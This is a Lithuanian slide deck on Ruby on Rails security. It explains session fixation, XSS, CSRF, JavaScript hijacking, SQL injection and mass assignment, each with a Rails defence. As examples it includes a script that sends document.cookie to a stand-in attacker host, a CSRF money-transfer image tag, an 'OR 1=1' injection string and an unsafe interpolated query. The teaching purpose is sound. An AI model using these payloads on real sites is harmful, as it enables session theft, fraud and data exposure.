Saugus seksas su Ruby on Rails

Saulius Grigaitis

Atakos

- Sesijos fiksavimas(angl. “session fixation”)
- Tarptinklinis skriptavimas(angl. “cross site scripting”)
- Tarptinlinis užklausų klastojimas(angl. “cross site request forgery”)
- JavaScript užgrobimas(angl. “JavaScript hijacking”)
- SQL injekcijos(angl. “SQL injection”)
- Masinis priskyrimas(angl. “mass assignment”)

Įšvesties filtravimas

- Metodas “h()”(nuoroda į “CGI.escapeHTML()”), kuris pakeičia &, “, <, > į &, ", &lt, &gt
- “RedCloth” modulis “Textile” palaikymui, jei reikalingas formatavimas
- “sanitize()” filtravimui “baltojo sąrašo” principu

Sesija

- “Ruby on Rails” naudoja slapukais paremtą sesijų mechanizmą
- “Ruby on Rails” 2.0 versija pagal nutylėjimą sesijos duomenys saugomi slapuke:
  - Formatas: “<sesijos_duomenys_base64_formatu>--<sesijos_duomenų_hmac'as>”
  - Pavyzdys:

BAh7BzoMY3NyZl9pZCIlMTZkMGI0OGI0ZDczYzYzZWJiNWI0YmYzNzFlYjhh
%250AMmMiCmZsYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEh
%250Ac2h7AAY6CkB1c2VkewA
%253D--046373fd33822159abbb124d57912ba532d90c6f

Sesija

- Galimi ir kitokie sesijų mechanizmai:
  - Sesijos duomenys duomenų bazėje,
  - Sesijos duomenys failuose
  - Sesijos duomenys išskirstitoje objektų saugykloje ...
- Geros praktikos:
  - Nesaugoti svarbios informacijos sesijoje
  - Naudoti stiprų slaptažodį
  - Kas tam tikrą laiką pakeisti sesijos identifikatorių

Sesijos fiksavimas

- Tikslas: priversti auką autentifikuotis su atakuotojui žinomu sesijos identifikatoriumi
- Scenarijus:
  - Atakuotojas apsilanko “http://pažeidžiamas.lt” ir gauna validų sesijos identifikatorių
  - Atakuotojas pasiūlo aukai apsilankyti “http://pažeidžiamas.lt/?SID=432343DFEE235”
  - Auka autentifikuojasi su šiuo sesijos identifikatoriumi

Sesijos fiksavimas

- Sprendimas:
  - Apskritai, pažeidžiamumas yra mažai tikėtinas, nes identifikatoriai saugomi slapukuose ir karkasas nepriima nevalidžių sesijos identifikatorių.
  - Naudoti metoda “reset_session” sesijos identifikatoriaus pakeitimui, kai vartotojas prisijungia ir atsijungia nuo sistemos.

Slapuko vagystė tarptinklinio skriptavimo pagalba

- Tikslas: sužinoti aukos sesijos identifikatorių
- Scenarijus:
  - įterpti kenksmingą kodą į HTML dokumentą, kurį peržiūrės auka, pvz:
    <script>document.write('<img src=" http://atakuotojo.domenas.com/' + document.cookie + '">');</script>
  - Naršyklė pati inicijuos užklausą, kurioje bus slapukas, į atakuotojo serverį
  - Atakuotojas autentifikuosis pavogto aukos slapuko pagalba.

Slapuko vagystė tarptinklinio skriptavimo pagalba

- Sprendimas, jei teksto formatavimas neleidžiamas:
  - naudoti “h()” pagalbininką (angl. “helper”)
  - Jei per sunku prisiminti visur naudoti “h()” metodą, tai naudoti įskiepius(angl. “plugin”) tam, pvz. “safeERB”
- Sprendimas, jei teksto formatavimas leidžiamas:
  - Naudoti “sanitize()” pagalbininką
  - Formatavimui naudoti tokias priemones, kaip “RedCloth”, “Textile”

Tarptinklinis užklausų klastojimas

- Tiklas: vykdyti veiksmus sistemoje, pasinaudojus toje sistemoje autentikuota auka
- Scenarijus:
  - Į dokumentą, kurį peržiūrės autentikuota auka, atakuotojas įterpia HTML paveikslėlio žymę, pvz: <img src="http://patikimasbankas.com/pavedimas?is_saskaita=petras&kiekis=1000000&i_saskaita=jonas"
  - Auka autentikuojasi banko sistemoje
  - Auka naršykle atidaro dokumentą, kuriame yra minėta paveikslėlio žymė ir naršyklė inicijuoja užklausą, kuri perveda pinigus

Tarptinklinis užklausų klastojimas

- Sprendimas: naudoti “protect_from_forgery” filtrą, kuris prie užklausos prideda sugeneruota simbolių seką. Atakuotojas nežinos šios simbolių sekos, o sistema atmes užklausą be teisingos simbolių sekos.

“JavaScript” užgrobimas

- Tikslas: pavogti svarbius aukos duomenis iš pažeidžiamo tinklapio
- Scenarijus:
  - Atakuotojas sužino kokiu adresu aukos naudotojo agentas gauna svarbią informaciją iš pažeidžiamo tinklapio(informacija turi būti pateikt “JavaScript” “interpretuojamu” formatu, pvz. “JSON”)
  - Atakuotojas į apgaulingą tinklapį įdeda <script> žymę, kuri pakrauna tuos duomenis, pvz: <script src=”http://bankas.lt/tranzakcijos.json”></script>
  - Atakuotajas apgaulingame tinklapyje perdengia objektų sukūrimo metodus(pvz. Array()) taip, kad jie siųstų juose esančią informaciją atakuotojui.
  - Auka priverčiama užeiti į apgaulingą tinklapį, kai būna autentifikavusi pažeidžiamame tinklapyje(http://bankas.lt)

“JavaScript” užgrobimas

- Sprendimas:
  - apgaubti duomenis komentarų simboliais, pvz:
    /*[[from:petras, to: jonas, amount: 500],[from: petras, to: bronius, amount: -200]]*/
    Tokiu atveju kodas nebus interpretuojamas “script” žymės pagalba, tad ir duomenų vagystė negalima.
  - naudoti “protect_from_forgery” filtrą, kuris prie užklausos prideda sugeneruota simbolių seką.

SQL injekcijos

- Tikslas: įterpti į SQL užklausą simbolius, kurie pakeistų tą užklausą ir leistu atskleisti duomenis ar vykdyti neleistinus veiksmus
- Scenarijus:
  - Atakuotojas į užklausos parametrą vietoj įprastos parametro reikšmės įterpia SQL užklausos dalį, pvz: vietoj vartotojo vardo “petras” įveda “petras' OR 1=1 --”
  - Sistema įvykdo užklausą: “SELECT * FROM users WHERE username = 'petras' OR 1=1 --' ;”, kuri gražina visus vartotojus

SQL injekcijos

- Sprendimas: jei užklausą sudaro nepatikimi duomenys, tai neįterpti šių duomenų jų nefiltravus
- Nefiltruoti parametrai:
  User.find(:first, :conditions => “username = #{params[:username]}”)
- Filtruoti parametrai:
  User.find(:first, :conditions => [“username = ?”, params[:username]])
  User.find(:all, :conditions => [“category IN (?), [2,3,4]])

Masinio priskyrimo išnaudojimas

- Tikslas: pakeisti duomenų bazės įrašus, kurių atakuotojas negali pakeisti įprastai naudodamasis sistema
- Scenarijus:
  - Sistemoje naudojama paprasta rolių sistema, t.y. Kiekvienas vartotojas turi lauką “admin”, kurio reikšmė yra “taip”, “ne”. Vartotojui registruojantis jis negali pasirinkti šio lauko reikšmės, o DB lauko reikšmė pagal nutylėjimą yra “ne”
  - Atakuotas į vartotojo sukūrimo užklausą įterpia parametrą “admin” su reikšme “taip”
  - Sistemoje vykdomas sakinys: User.create(params[“user”]), kuris sukuria vartotoją su “admin” reikšme “taip”

Masinio priskyrimo išnaudojimas

- Sprendimas:
  Naudoti “attr_protected” ir “attr_accessible” metodus modeliuose:

```
Class User < ActiveRecord::Base
    attr_protected :admin
end

Class User < ActiveRecord::Base
    attr_accessible :email, :fullname
end
```

Klausimai

?